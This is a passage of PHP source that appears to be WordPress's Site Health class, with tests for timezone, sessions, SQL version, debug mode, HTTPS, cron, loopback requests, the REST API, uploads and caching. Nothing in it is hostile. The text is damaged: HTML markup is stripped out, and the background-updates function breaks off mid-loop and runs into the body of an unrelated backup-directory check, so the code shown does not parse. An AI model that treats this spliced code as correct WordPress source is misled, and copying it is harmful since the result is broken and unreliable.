__( 'PHP default timezone was configured by WordPress on loading. This is necessary for correct calculations of dates and times.' )
),
'actions' => '',
'test' => 'php_default_timezone',
);
if ( 'UTC' !== date_default_timezone_get() ) {
$result['status'] = 'critical';
$result['label'] = __( 'PHP default timezone is invalid' );
$result['description'] = sprintf(
'
%s
',
sprintf(
/* translators: %s: date_default_timezone_set() */
__( 'PHP default timezone was changed after WordPress loading by a %s function call. This interferes with correct calculations of dates and times.' ),
'date_default_timezone_set()'
)
);
}
return $result;
}
/**
* Tests if there's an active PHP session that can affect loopback requests.
*
* @since 5.5.0
*
* @return array The test results.
*/
public function get_test_php_sessions() {
$result = array(
'label' => __( 'No PHP sessions detected' ),
'status' => 'good',
'badge' => array(
'label' => __( 'Performance' ),
'color' => 'blue',
),
'description' => sprintf(
'
%s
',
sprintf(
/* translators: 1: session_start(), 2: session_write_close() */
__( 'PHP sessions created by a %1$s function call may interfere with REST API and loopback requests. An active session should be closed by %2$s before making any HTTP requests.' ),
'session_start()',
'session_write_close()'
)
),
'test' => 'php_sessions',
);
if ( function_exists( 'session_status' ) && PHP_SESSION_ACTIVE === session_status() ) {
$result['status'] = 'critical';
$result['label'] = __( 'An active PHP session was detected' );
$result['description'] = sprintf(
'
%s
',
sprintf(
/* translators: 1: session_start(), 2: session_write_close() */
__( 'A PHP session was created by a %1$s function call. This interferes with REST API and loopback requests. The session should be closed by %2$s before making any HTTP requests.' ),
'session_start()',
'session_write_close()'
)
);
}
return $result;
}
/**
* Tests if the SQL server is up to date.
*
* @since 5.2.0
*
* @return array The test results.
*/
public function get_test_sql_server() {
if ( ! $this->mysql_server_version ) {
$this->prepare_sql_data();
}
$result = array(
'label' => __( 'SQL server is up to date' ),
'status' => 'good',
'badge' => array(
'label' => __( 'Performance' ),
'color' => 'blue',
),
'description' => sprintf(
'
%s
',
__( 'The SQL server is a required piece of software for the database WordPress uses to store all your site’s content and settings.' )
),
'actions' => sprintf(
'
',
/* translators: Localized version of WordPress requirements if one exists. */
esc_url( __( 'https://wordpress.org/about/requirements/' ) ),
__( 'Learn more about what WordPress requires to run.' ),
/* translators: Hidden accessibility text. */
__( '(opens in a new tab)' )
),
'test' => 'sql_server',
);
$db_dropin = file_exists( WP_CONTENT_DIR . '/db.php' );
if ( ! $this->is_recommended_mysql_version ) {
$result['status'] = 'recommended';
$result['label'] = __( 'Outdated SQL server' );
$result['description'] .= sprintf(
'
%s
',
sprintf(
/* translators: 1: The database engine in use (MySQL or MariaDB). 2: Database server recommended version number. */
__( 'For optimal performance and security reasons, you should consider running %1$s version %2$s or higher. Contact your web hosting company to correct this.' ),
( $this->is_mariadb ? 'MariaDB' : 'MySQL' ),
$this->mysql_recommended_version
)
);
}
if ( ! $this->is_acceptable_mysql_version ) {
$result['status'] = 'critical';
$result['label'] = __( 'Severely outdated SQL server' );
$result['badge']['label'] = __( 'Security' );
$result['description'] .= sprintf(
'
%s
',
sprintf(
/* translators: 1: The database engine in use (MySQL or MariaDB). 2: Database server minimum version number. */
__( 'WordPress requires %1$s version %2$s or higher. Contact your web hosting company to correct this.' ),
( $this->is_mariadb ? 'MariaDB' : 'MySQL' ),
$this->mysql_required_version
)
);
}
if ( $db_dropin ) {
$result['description'] .= sprintf(
'
%s
',
wp_kses(
sprintf(
/* translators: 1: The name of the drop-in. 2: The name of the database engine. */
__( 'You are using a %1$s drop-in which might mean that a %2$s database is not being used.' ),
'wp-content/db.php',
( $this->is_mariadb ? 'MariaDB' : 'MySQL' )
),
array(
'code' => true,
)
)
);
}
return $result;
}
/**
* Tests if the site can communicate with WordPress.org.
*
* @since 5.2.0
*
* @return array The test results.
*/
public function get_test_dotorg_communication() {
$result = array(
'label' => __( 'Can communicate with WordPress.org' ),
'status' => '',
'badge' => array(
'label' => __( 'Security' ),
'color' => 'blue',
),
'description' => sprintf(
'
%s
',
__( 'Communicating with the WordPress servers is used to check for new versions, and to both install and update WordPress core, themes or plugins.' )
),
'actions' => '',
'test' => 'dotorg_communication',
);
$wp_dotorg = wp_remote_get(
'https://api.wordpress.org',
array(
'timeout' => 10,
)
);
if ( ! is_wp_error( $wp_dotorg ) ) {
$result['status'] = 'good';
} else {
$result['status'] = 'critical';
$result['label'] = __( 'Could not reach WordPress.org' );
$result['description'] .= sprintf(
'
%s
',
sprintf(
'%s %s',
/* translators: Hidden accessibility text. */
__( 'Error' ),
sprintf(
/* translators: 1: The IP address WordPress.org resolves to. 2: The error returned by the lookup. */
__( 'Your site is unable to reach WordPress.org at %1$s, and returned the error: %2$s' ),
gethostbyname( 'api.wordpress.org' ),
$wp_dotorg->get_error_message()
)
)
);
$result['actions'] = sprintf(
'
',
/* translators: Localized Support reference. */
esc_url( __( 'https://wordpress.org/support/forums/' ) ),
__( 'Get help resolving this issue.' ),
/* translators: Hidden accessibility text. */
__( '(opens in a new tab)' )
);
}
return $result;
}
/**
* Tests if debug information is enabled.
*
* When WP_DEBUG is enabled, errors and information may be disclosed to site visitors,
* or logged to a publicly accessible file.
*
* Debugging is also frequently left enabled after looking for errors on a site,
* as site owners do not understand the implications of this.
*
* @since 5.2.0
*
* @return array The test results.
*/
public function get_test_is_in_debug_mode() {
$result = array(
'label' => __( 'Your site is not set to output debug information' ),
'status' => 'good',
'badge' => array(
'label' => __( 'Security' ),
'color' => 'blue',
),
'description' => sprintf(
'
%s
',
__( 'Debug mode is often enabled to gather more details about an error or site failure, but may contain sensitive information which should not be available on a publicly available website.' )
),
'actions' => sprintf(
'
',
/* translators: Documentation explaining debugging in WordPress. */
esc_url( __( 'https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/' ) ),
__( 'Learn more about debugging in WordPress.' ),
/* translators: Hidden accessibility text. */
__( '(opens in a new tab)' )
),
'test' => 'is_in_debug_mode',
);
if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
if ( defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG ) {
$result['label'] = __( 'Your site is set to log errors to a potentially public file' );
$result['status'] = str_starts_with( ini_get( 'error_log' ), ABSPATH ) ? 'critical' : 'recommended';
$result['description'] .= sprintf(
'
%s
',
sprintf(
/* translators: %s: WP_DEBUG_LOG */
__( 'The value, %s, has been added to this website’s configuration file. This means any errors on the site will be written to a file which is potentially available to all users.' ),
'WP_DEBUG_LOG'
)
);
}
if ( defined( 'WP_DEBUG_DISPLAY' ) && WP_DEBUG_DISPLAY ) {
$result['label'] = __( 'Your site is set to display errors to site visitors' );
$result['status'] = 'critical';
// On development environments, set the status to recommended.
if ( $this->is_development_environment() ) {
$result['status'] = 'recommended';
}
$result['description'] .= sprintf(
'
%s
',
sprintf(
/* translators: 1: WP_DEBUG_DISPLAY, 2: WP_DEBUG */
__( 'The value, %1$s, has either been enabled by %2$s or added to your configuration file. This will make errors display on the front end of your site.' ),
'WP_DEBUG_DISPLAY',
'WP_DEBUG'
)
);
}
}
return $result;
}
/**
* Tests if the site is serving content over HTTPS.
*
* Many sites have varying degrees of HTTPS support, the most common of which is sites that have it
* enabled, but only if you visit the right site address.
*
* @since 5.2.0
* @since 5.7.0 Updated to rely on {@see wp_is_using_https()} and {@see wp_is_https_supported()}.
*
* @return array The test results.
*/
public function get_test_https_status() {
/*
* Check HTTPS detection results.
*/
$errors = wp_get_https_detection_errors();
$default_update_url = wp_get_default_update_https_url();
$result = array(
'label' => __( 'Your website is using an active HTTPS connection' ),
'status' => 'good',
'badge' => array(
'label' => __( 'Security' ),
'color' => 'blue',
),
'description' => sprintf(
'
%s
',
__( 'An HTTPS connection is a more secure way of browsing the web. Many services now have HTTPS as a requirement. HTTPS allows you to take advantage of new features that can increase site speed, improve search rankings, and gain the trust of your visitors by helping to protect their online privacy.' )
),
'actions' => sprintf(
'
',
esc_url( $default_update_url ),
__( 'Learn more about why you should use HTTPS' ),
/* translators: Hidden accessibility text. */
__( '(opens in a new tab)' )
),
'test' => 'https_status',
);
if ( ! wp_is_using_https() ) {
/*
* If the website is not using HTTPS, provide more information
* about whether it is supported and how it can be enabled.
*/
$result['status'] = 'recommended';
$result['label'] = __( 'Your website does not use HTTPS' );
if ( wp_is_site_url_using_https() ) {
if ( is_ssl() ) {
$result['description'] = sprintf(
'
%s
',
sprintf(
/* translators: %s: URL to Settings > General > Site Address. */
__( 'You are accessing this website using HTTPS, but your Site Address is not set up to use HTTPS by default.' ),
esc_url( admin_url( 'options-general.php' ) . '#home' )
)
);
} else {
$result['description'] = sprintf(
'
%s
',
sprintf(
/* translators: %s: URL to Settings > General > Site Address. */
__( 'Your Site Address is not set up to use HTTPS.' ),
esc_url( admin_url( 'options-general.php' ) . '#home' )
)
);
}
} else {
if ( is_ssl() ) {
$result['description'] = sprintf(
'
%s
',
sprintf(
/* translators: 1: URL to Settings > General > WordPress Address, 2: URL to Settings > General > Site Address. */
__( 'You are accessing this website using HTTPS, but your WordPress Address and Site Address are not set up to use HTTPS by default.' ),
esc_url( admin_url( 'options-general.php' ) . '#siteurl' ),
esc_url( admin_url( 'options-general.php' ) . '#home' )
)
);
} else {
$result['description'] = sprintf(
'
%s
',
sprintf(
/* translators: 1: URL to Settings > General > WordPress Address, 2: URL to Settings > General > Site Address. */
__( 'Your WordPress Address and Site Address are not set up to use HTTPS.' ),
esc_url( admin_url( 'options-general.php' ) . '#siteurl' ),
esc_url( admin_url( 'options-general.php' ) . '#home' )
)
);
}
}
if ( wp_is_https_supported() ) {
$result['description'] .= sprintf(
'
%s
',
__( 'HTTPS is already supported for your website.' )
);
if ( defined( 'WP_HOME' ) || defined( 'WP_SITEURL' ) ) {
$result['description'] .= sprintf(
'
%s
',
sprintf(
/* translators: 1: wp-config.php, 2: WP_HOME, 3: WP_SITEURL */
__( 'However, your WordPress Address is currently controlled by a PHP constant and therefore cannot be updated. You need to edit your %1$s and remove or update the definitions of %2$s and %3$s.' ),
'wp-config.php',
'WP_HOME',
'WP_SITEURL'
)
);
} elseif ( current_user_can( 'update_https' ) ) {
$default_direct_update_url = add_query_arg( 'action', 'update_https', wp_nonce_url( admin_url( 'site-health.php' ), 'wp_update_https' ) );
$direct_update_url = wp_get_direct_update_https_url();
if ( ! empty( $direct_update_url ) ) {
$result['actions'] = sprintf(
'
',
esc_url( $direct_update_url ),
__( 'Update your site to use HTTPS' ),
/* translators: Hidden accessibility text. */
__( '(opens in a new tab)' )
);
} else {
$result['actions'] = sprintf(
'
',
esc_url( $default_direct_update_url ),
__( 'Update your site to use HTTPS' )
);
}
}
} else {
// If host-specific "Update HTTPS" URL is provided, include a link.
$update_url = wp_get_update_https_url();
if ( $update_url !== $default_update_url ) {
$result['description'] .= sprintf(
'
',
esc_url( $update_url ),
__( 'Talk to your web host about supporting HTTPS for your website.' ),
/* translators: Hidden accessibility text. */
__( '(opens in a new tab)' )
);
} else {
$result['description'] .= sprintf(
'
%s
',
__( 'Talk to your web host about supporting HTTPS for your website.' )
);
}
}
}
return $result;
}
/**
* Checks if the HTTP API can handle SSL/TLS requests.
*
* @since 5.2.0
*
* @return array The test result.
*/
public function get_test_ssl_support() {
$result = array(
'label' => '',
'status' => '',
'badge' => array(
'label' => __( 'Security' ),
'color' => 'blue',
),
'description' => sprintf(
'
%s
',
__( 'Securely communicating between servers are needed for transactions such as fetching files, conducting sales on store sites, and much more.' )
),
'actions' => '',
'test' => 'ssl_support',
);
$supports_https = wp_http_supports( array( 'ssl' ) );
if ( $supports_https ) {
$result['status'] = 'good';
$result['label'] = __( 'Your site can communicate securely with other services' );
} else {
$result['status'] = 'critical';
$result['label'] = __( 'Your site is unable to communicate securely with other services' );
$result['description'] .= sprintf(
'
%s
',
__( 'Talk to your web host about OpenSSL support for PHP.' )
);
}
return $result;
}
/**
* Tests if scheduled events run as intended.
*
* If scheduled events are not running, this may indicate something with WP_Cron is not working
* as intended, or that there are orphaned events hanging around from older code.
*
* @since 5.2.0
*
* @return array The test results.
*/
public function get_test_scheduled_events() {
$result = array(
'label' => __( 'Scheduled events are running' ),
'status' => 'good',
'badge' => array(
'label' => __( 'Performance' ),
'color' => 'blue',
),
'description' => sprintf(
'
%s
',
__( 'Scheduled events are what periodically looks for updates to plugins, themes and WordPress itself. It is also what makes sure scheduled posts are published on time. It may also be used by various plugins to make sure that planned actions are executed.' )
),
'actions' => '',
'test' => 'scheduled_events',
);
$this->wp_schedule_test_init();
if ( is_wp_error( $this->has_missed_cron() ) ) {
$result['status'] = 'critical';
$result['label'] = __( 'It was not possible to check your scheduled events' );
$result['description'] = sprintf(
'
%s
',
sprintf(
/* translators: %s: The error message returned while from the cron scheduler. */
__( 'While trying to test your site’s scheduled events, the following error was returned: %s' ),
$this->has_missed_cron()->get_error_message()
)
);
} elseif ( $this->has_missed_cron() ) {
$result['status'] = 'recommended';
$result['label'] = __( 'A scheduled event has failed' );
$result['description'] = sprintf(
'
%s
',
sprintf(
/* translators: %s: The name of the failed cron event. */
__( 'The scheduled event, %s, failed to run. Your site still works, but this may indicate that scheduling posts or automated updates may not work as intended.' ),
$this->last_missed_cron
)
);
} elseif ( $this->has_late_cron() ) {
$result['status'] = 'recommended';
$result['label'] = __( 'A scheduled event is late' );
$result['description'] = sprintf(
'
%s
',
sprintf(
/* translators: %s: The name of the late cron event. */
__( 'The scheduled event, %s, is late to run. Your site still works, but this may indicate that scheduling posts or automated updates may not work as intended.' ),
$this->last_late_cron
)
);
}
return $result;
}
/**
* Tests if WordPress can run automated background updates.
*
* Background updates in WordPress are primarily used for minor releases and security updates.
* It's important to either have these working, or be aware that they are intentionally disabled
* for whatever reason.
*
* @since 5.2.0
*
* @return array The test results.
*/
public function get_test_background_updates() {
$result = array(
'label' => __( 'Background updates are working' ),
'status' => 'good',
'badge' => array(
'label' => __( 'Security' ),
'color' => 'blue',
),
'description' => sprintf(
'
%s
',
__( 'Background updates ensure that WordPress can auto-update if a security update is released for the version you are currently using.' )
),
'actions' => '',
'test' => 'background_updates',
);
if ( ! class_exists( 'WP_Site_Health_Auto_Updates' ) ) {
require_once ABSPATH . 'wp-admin/includes/class-wp-site-health-auto-updates.php';
}
/*
* Run the auto-update tests in a separate class,
* as there are many considerations to be made.
*/
$automatic_updates = new WP_Site_Health_Auto_Updates();
$tests = $automatic_updates->run_tests();
$output = '
';
foreach ( $tests as $test ) {
/* translators: Hidden accessibility text. */
$severity_string = __( 'Passed' );
if ( 'fail' === $test->severity ) {
$result['label'] = __( 'Background updates are not working as expected' );
$result['status'] = 'critical';
/* translators: Hidden accessibility text. */
$severity_string = __( 'Error' );
}
if ( 'warning' === $test->severity && 'good' === $result['status'] ) {
$result['label'] = __( 'Background updates may not be working properly' );
$result['status'] = 'recommended';
/* translators: Hidden accessibility text. */
$severity_string = __( 'Warning' );
}
$output .= sprintf(
'
' . __( 'The %1$s and %2$s directories exist but are not writable. These directories are used to improve the stability of plugin updates. Please make sure the server has write permissions to these directories.' ) . '
',
'wp-content/upgrade-temp-backup/plugins',
'wp-content/upgrade-temp-backup/themes'
);
return $result;
}
if ( $plugins_dir_exists && ! $plugins_dir_is_writable ) {
$result['status'] = 'critical';
$result['label'] = __( 'Plugin temporary backup directory exists but is not writable' );
$result['description'] = sprintf(
/* translators: %s: wp-content/upgrade-temp-backup/plugins */
'
' . __( 'The %s directory exists but is not writable. This directory is used to improve the stability of plugin updates. Please make sure the server has write permissions to this directory.' ) . '
',
'wp-content/upgrade-temp-backup/plugins'
);
return $result;
}
if ( $themes_dir_exists && ! $themes_dir_is_writable ) {
$result['status'] = 'critical';
$result['label'] = __( 'Theme temporary backup directory exists but is not writable' );
$result['description'] = sprintf(
/* translators: %s: wp-content/upgrade-temp-backup/themes */
'
' . __( 'The %s directory exists but is not writable. This directory is used to improve the stability of theme updates. Please make sure the server has write permissions to this directory.' ) . '
',
'wp-content/upgrade-temp-backup/themes'
);
return $result;
}
if ( ( ! $plugins_dir_exists || ! $themes_dir_exists ) && $backup_dir_exists && ! $backup_dir_is_writable ) {
$result['status'] = 'critical';
$result['label'] = __( 'The temporary backup directory exists but is not writable' );
$result['description'] = sprintf(
/* translators: %s: wp-content/upgrade-temp-backup */
'
' . __( 'The %s directory exists but is not writable. This directory is used to improve the stability of plugin and theme updates. Please make sure the server has write permissions to this directory.' ) . '
',
'wp-content/upgrade-temp-backup'
);
return $result;
}
if ( ! $backup_dir_exists && $upgrade_dir_exists && ! $upgrade_dir_is_writable ) {
$result['status'] = 'critical';
$result['label'] = __( 'The upgrade directory exists but is not writable' );
$result['description'] = sprintf(
/* translators: %s: wp-content/upgrade */
'
' . __( 'The %s directory exists but is not writable. This directory is used for plugin and theme updates. Please make sure the server has write permissions to this directory.' ) . '
' . __( 'The %1$s directory does not exist, and the server does not have write permissions in %2$s to create it. This directory is used for plugin and theme updates. Please make sure the server has write permissions in %2$s.' ) . '
',
'wp-content/upgrade',
'wp-content'
);
return $result;
}
return $result;
}
/**
* Tests if loopbacks work as expected.
*
* A loopback is when WordPress queries itself, for example to start a new WP_Cron instance,
* or when editing a plugin or theme. This has shown itself to be a recurring issue,
* as code can very easily break this interaction.
*
* @since 5.2.0
*
* @return array The test results.
*/
public function get_test_loopback_requests() {
$result = array(
'label' => __( 'Your site can perform loopback requests' ),
'status' => 'good',
'badge' => array(
'label' => __( 'Performance' ),
'color' => 'blue',
),
'description' => sprintf(
'
%s
',
__( 'Loopback requests are used to run scheduled events, and are also used by the built-in editors for themes and plugins to verify code stability.' )
),
'actions' => '',
'test' => 'loopback_requests',
);
$check_loopback = $this->can_perform_loopback();
$result['status'] = $check_loopback->status;
if ( 'good' !== $result['status'] ) {
$result['label'] = __( 'Your site could not complete a loopback request' );
$result['description'] .= sprintf(
'
%s
',
$check_loopback->message
);
}
return $result;
}
/**
* Tests if HTTP requests are blocked.
*
* It's possible to block all outgoing communication (with the possibility of allowing certain
* hosts) via the HTTP API. This may create problems for users as many features are running as
* services these days.
*
* @since 5.2.0
*
* @return array The test results.
*/
public function get_test_http_requests() {
$result = array(
'label' => __( 'HTTP requests seem to be working as expected' ),
'status' => 'good',
'badge' => array(
'label' => __( 'Performance' ),
'color' => 'blue',
),
'description' => sprintf(
'
%s
',
__( 'It is possible for site maintainers to block all, or some, communication to other sites and services. If set up incorrectly, this may prevent plugins and themes from working as intended.' )
),
'actions' => '',
'test' => 'http_requests',
);
$blocked = false;
$hosts = array();
if ( defined( 'WP_HTTP_BLOCK_EXTERNAL' ) && WP_HTTP_BLOCK_EXTERNAL ) {
$blocked = true;
}
if ( defined( 'WP_ACCESSIBLE_HOSTS' ) ) {
$hosts = explode( ',', WP_ACCESSIBLE_HOSTS );
}
if ( $blocked && 0 === count( $hosts ) ) {
$result['status'] = 'critical';
$result['label'] = __( 'HTTP requests are blocked' );
$result['description'] .= sprintf(
'
%s
',
sprintf(
/* translators: %s: Name of the constant used. */
__( 'HTTP requests have been blocked by the %s constant, with no allowed hosts.' ),
'WP_HTTP_BLOCK_EXTERNAL'
)
);
}
if ( $blocked && 0 < count( $hosts ) ) {
$result['status'] = 'recommended';
$result['label'] = __( 'HTTP requests are partially blocked' );
$result['description'] .= sprintf(
'
%s
',
sprintf(
/* translators: 1: Name of the constant used. 2: List of allowed hostnames. */
__( 'HTTP requests have been blocked by the %1$s constant, with some allowed hosts: %2$s.' ),
'WP_HTTP_BLOCK_EXTERNAL',
implode( ',', $hosts )
)
);
}
return $result;
}
/**
* Tests if the REST API is accessible.
*
* Various security measures may block the REST API from working, or it may have been disabled in general.
* This is required for the new block editor to work, so we explicitly test for this.
*
* @since 5.2.0
*
* @return array The test results.
*/
public function get_test_rest_availability() {
$result = array(
'label' => __( 'The REST API is available' ),
'status' => 'good',
'badge' => array(
'label' => __( 'Performance' ),
'color' => 'blue',
),
'description' => sprintf(
'
%s
',
__( 'The REST API is one way that WordPress and other applications communicate with the server. For example, the block editor screen relies on the REST API to display and save your posts and pages.' )
),
'actions' => '',
'test' => 'rest_availability',
);
$cookies = wp_unslash( $_COOKIE );
$timeout = 10; // 10 seconds.
$headers = array(
'Cache-Control' => 'no-cache',
'X-WP-Nonce' => wp_create_nonce( 'wp_rest' ),
);
/** This filter is documented in wp-includes/class-wp-http-streams.php */
$sslverify = apply_filters( 'https_local_ssl_verify', false );
// Include Basic auth in loopback requests.
if ( isset( $_SERVER['PHP_AUTH_USER'] ) && isset( $_SERVER['PHP_AUTH_PW'] ) ) {
$headers['Authorization'] = 'Basic ' . base64_encode( wp_unslash( $_SERVER['PHP_AUTH_USER'] ) . ':' . wp_unslash( $_SERVER['PHP_AUTH_PW'] ) );
}
$url = rest_url( 'wp/v2/types/post' );
// The context for this is editing with the new block editor.
$url = add_query_arg(
array(
'context' => 'edit',
),
$url
);
$r = wp_remote_get( $url, compact( 'cookies', 'headers', 'timeout', 'sslverify' ) );
if ( is_wp_error( $r ) ) {
$result['status'] = 'critical';
$result['label'] = __( 'The REST API encountered an error' );
$result['description'] .= sprintf(
'
%s
%s %s
',
__( 'When testing the REST API, an error was encountered:' ),
sprintf(
// translators: %s: The REST API URL.
__( 'REST API Endpoint: %s' ),
$url
),
sprintf(
// translators: 1: The WordPress error code. 2: The WordPress error message.
__( 'REST API Response: (%1$s) %2$s' ),
$r->get_error_code(),
$r->get_error_message()
)
);
} elseif ( 200 !== wp_remote_retrieve_response_code( $r ) ) {
$result['status'] = 'recommended';
$result['label'] = __( 'The REST API encountered an unexpected result' );
$result['description'] .= sprintf(
'
%s
%s %s
',
__( 'When testing the REST API, an unexpected result was returned:' ),
sprintf(
// translators: %s: The REST API URL.
__( 'REST API Endpoint: %s' ),
$url
),
sprintf(
// translators: 1: The WordPress error code. 2: The HTTP status code error message.
__( 'REST API Response: (%1$s) %2$s' ),
wp_remote_retrieve_response_code( $r ),
wp_remote_retrieve_response_message( $r )
)
);
} else {
$json = json_decode( wp_remote_retrieve_body( $r ), true );
if ( false !== $json && ! isset( $json['capabilities'] ) ) {
$result['status'] = 'recommended';
$result['label'] = __( 'The REST API did not behave correctly' );
$result['description'] .= sprintf(
'
%s
',
sprintf(
/* translators: %s: The name of the query parameter being tested. */
__( 'The REST API did not process the %s query parameter correctly.' ),
'context'
)
);
}
}
return $result;
}
/**
* Tests if 'file_uploads' directive in PHP.ini is turned off.
*
* @since 5.5.0
*
* @return array The test results.
*/
public function get_test_file_uploads() {
$result = array(
'label' => __( 'Files can be uploaded' ),
'status' => 'good',
'badge' => array(
'label' => __( 'Performance' ),
'color' => 'blue',
),
'description' => sprintf(
'
%s
',
sprintf(
/* translators: 1: file_uploads, 2: php.ini */
__( 'The %1$s directive in %2$s determines if uploading files is allowed on your site.' ),
'file_uploads',
'php.ini'
)
),
'actions' => '',
'test' => 'file_uploads',
);
if ( ! function_exists( 'ini_get' ) ) {
$result['status'] = 'critical';
$result['description'] .= sprintf(
/* translators: %s: ini_get() */
__( 'The %s function has been disabled, some media settings are unavailable because of this.' ),
'ini_get()'
);
return $result;
}
if ( empty( ini_get( 'file_uploads' ) ) ) {
$result['status'] = 'critical';
$result['description'] .= sprintf(
'
%s
',
sprintf(
/* translators: 1: file_uploads, 2: 0 */
__( '%1$s is set to %2$s. You won\'t be able to upload files on your site.' ),
'file_uploads',
'0'
)
);
return $result;
}
$post_max_size = ini_get( 'post_max_size' );
$upload_max_filesize = ini_get( 'upload_max_filesize' );
if ( wp_convert_hr_to_bytes( $post_max_size ) < wp_convert_hr_to_bytes( $upload_max_filesize ) ) {
$result['label'] = sprintf(
/* translators: 1: post_max_size, 2: upload_max_filesize */
__( 'The "%1$s" value is smaller than "%2$s"' ),
'post_max_size',
'upload_max_filesize'
);
$result['status'] = 'recommended';
if ( 0 === wp_convert_hr_to_bytes( $post_max_size ) ) {
$result['description'] = sprintf(
'
%s
',
sprintf(
/* translators: 1: post_max_size, 2: upload_max_filesize */
__( 'The setting for %1$s is currently configured as 0, this could cause some problems when trying to upload files through plugin or theme features that rely on various upload methods. It is recommended to configure this setting to a fixed value, ideally matching the value of %2$s, as some upload methods read the value 0 as either unlimited, or disabled.' ),
'post_max_size',
'upload_max_filesize'
)
);
} else {
$result['description'] = sprintf(
'
%s
',
sprintf(
/* translators: 1: post_max_size, 2: upload_max_filesize */
__( 'The setting for %1$s is smaller than %2$s, this could cause some problems when trying to upload files.' ),
'post_max_size',
'upload_max_filesize'
)
);
}
return $result;
}
return $result;
}
/**
* Tests if the Authorization header has the expected values.
*
* @since 5.6.0
*
* @return array
*/
public function get_test_authorization_header() {
$result = array(
'label' => __( 'The Authorization header is working as expected' ),
'status' => 'good',
'badge' => array(
'label' => __( 'Security' ),
'color' => 'blue',
),
'description' => sprintf(
'
%s
',
__( 'The Authorization header is used by third-party applications you have approved for this site. Without this header, those apps cannot connect to your site.' )
),
'actions' => '',
'test' => 'authorization_header',
);
if ( ! isset( $_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW'] ) ) {
$result['label'] = __( 'The authorization header is missing' );
} elseif ( 'user' !== $_SERVER['PHP_AUTH_USER'] || 'pwd' !== $_SERVER['PHP_AUTH_PW'] ) {
$result['label'] = __( 'The authorization header is invalid' );
} else {
return $result;
}
$result['status'] = 'recommended';
$result['description'] .= sprintf(
'
%s
',
__( 'If you are still seeing this warning after having tried the actions below, you may need to contact your hosting provider for further assistance.' )
);
if ( ! function_exists( 'got_mod_rewrite' ) ) {
require_once ABSPATH . 'wp-admin/includes/misc.php';
}
if ( got_mod_rewrite() ) {
$result['actions'] .= sprintf(
'
',
__( 'https://developer.wordpress.org/rest-api/frequently-asked-questions/#why-is-authentication-not-working' ),
__( 'Learn how to configure the Authorization header.' ),
/* translators: Hidden accessibility text. */
__( '(opens in a new tab)' )
);
}
return $result;
}
/**
* Tests if a full page cache is available.
*
* @since 6.1.0
*
* @return array The test result.
*/
public function get_test_page_cache() {
$description = '
' . __( 'Page cache enhances the speed and performance of your site by saving and serving static pages instead of calling for a page every time a user visits.' ) . '
';
$description .= '
' . __( 'Page cache is detected by looking for an active page cache plugin as well as making three requests to the homepage and looking for one or more of the following HTTP client caching response headers:' ) . '
',
__( 'https://developer.wordpress.org/advanced-administration/performance/optimization/#caching' ),
__( 'Learn more about page cache' ),
/* translators: Hidden accessibility text. */
__( '(opens in a new tab)' )
),
);
$page_cache_detail = $this->get_page_cache_detail();
if ( is_wp_error( $page_cache_detail ) ) {
$result['label'] = __( 'Unable to detect the presence of page cache' );
$result['status'] = 'recommended';
$error_info = sprintf(
/* translators: 1: Error message, 2: Error code. */
__( 'Unable to detect page cache due to possible loopback request problem. Please verify that the loopback request test is passing. Error: %1$s (Code: %2$s)' ),
$page_cache_detail->get_error_message(),
$page_cache_detail->get_error_code()
);
$result['description'] = wp_kses_post( "
$error_info
" ) . $result['description'];
return $result;
}
$result['status'] = $page_cache_detail['status'];
switch ( $page_cache_detail['status'] ) {
case 'recommended':
$result['label'] = __( 'Page cache is not detected but the server response time is OK' );
break;
case 'good':
$result['label'] = __( 'Page cache is detected and the server response time is good' );
break;
default:
if ( empty( $page_cache_detail['headers'] ) && ! $page_cache_detail['advanced_cache_present'] ) {
$result['label'] = __( 'Page cache is not detected and the server response time is slow' );
} else {
$result['label'] = __( 'Page cache is detected but the server response time is still slow' );
}
}
$page_cache_test_summary = array();
if ( empty( $page_cache_detail['response_time'] ) ) {
$page_cache_test_summary[] = ' ' . __( 'Server response time could not be determined. Verify that loopback requests are working.' );
} else {
$threshold = $this->get_good_response_time_threshold();
if ( $page_cache_detail['response_time'] < $threshold ) {
$page_cache_test_summary[] = ' ' . sprintf(
/* translators: 1: The response time in milliseconds, 2: The recommended threshold in milliseconds. */
__( 'Median server response time was %1$s milliseconds. This is less than the recommended %2$s milliseconds threshold.' ),
number_format_i18n( $page_cache_detail['response_time'] ),
number_format_i18n( $threshold )
);
} else {
$page_cache_test_summary[] = ' ' . sprintf(
/* translators: 1: The response time in milliseconds, 2: The recommended threshold in milliseconds. */
__( 'Median server response time was %1$s milliseconds. It should be less than the recommended %2$s milliseconds threshold.' ),
number_format_i18n( $page_cache_detail['response_time'] ),
number_format_i18n( $threshold )
);
}
if ( empty( $page_cache_detail['headers'] ) ) {
$page_cache_test_summary[] = ' ' . __( 'No client caching response headers were detected.' );
} else {
$headers_summary = '';
$headers_summary .= ' ' . sprintf(
/* translators: %d: Number of caching headers. */
_n(
'There was %d client caching response header detected:',
'There were %d client caching response headers detected:',
count( $page_cache_detail['headers'] )
),
count( $page_cache_detail['headers'] )
);
$headers_summary .= ' ' . implode( ', ', $page_cache_detail['headers'] ) . '.';
$page_cache_test_summary[] = $headers_summary;
}
}
if ( $page_cache_detail['advanced_cache_present'] ) {
$page_cache_test_summary[] = ' ' . __( 'A page cache plugin was detected.' );
} elseif ( ! ( is_array( $page_cache_detail ) && ! empty( $page_cache_detail['headers'] ) ) ) {
// Note: This message is not shown if client caching response headers were present since an external caching layer may be employed.
$page_cache_test_summary[] = ' ' . __( 'A page cache plugin was not detected.' );
}
$result['description'] .= '
' . implode( '
', $page_cache_test_summary ) . '
';
return $result;
}
/**
* Tests if the site uses persistent object cache and recommends to use it if not.
*
* @since 6.1.0
*
* @return array The test result.
*/
public function get_test_persistent_object_cache() {
/**
* Filters the action URL for the persistent object cache health check.
*
* @since 6.1.0
*
* @param string $action_url Learn more link for persistent object cache health check.
*/
$action_url = apply_filters(
'site_status_persistent_object_cache_url',
/* translators: Localized Support reference. */
__( 'https://developer.wordpress.org/advanced-administration/performance/optimization/#persistent-object-cache' )
);
$result = array(
'test' => 'persistent_object_cache',
'status' => 'good',
'badge' => array(
'label' => __( 'Performance' ),
'color' => 'blue',
),
'label' => __( 'A persistent object cache is being used' ),
'description' => sprintf(
'
%s
',
__( 'A persistent object cache makes your site’s database more efficient, resulting in faster load times because WordPress can retrieve your site’s content and settings much more quickly.' )
),
'actions' => sprintf(
'
',
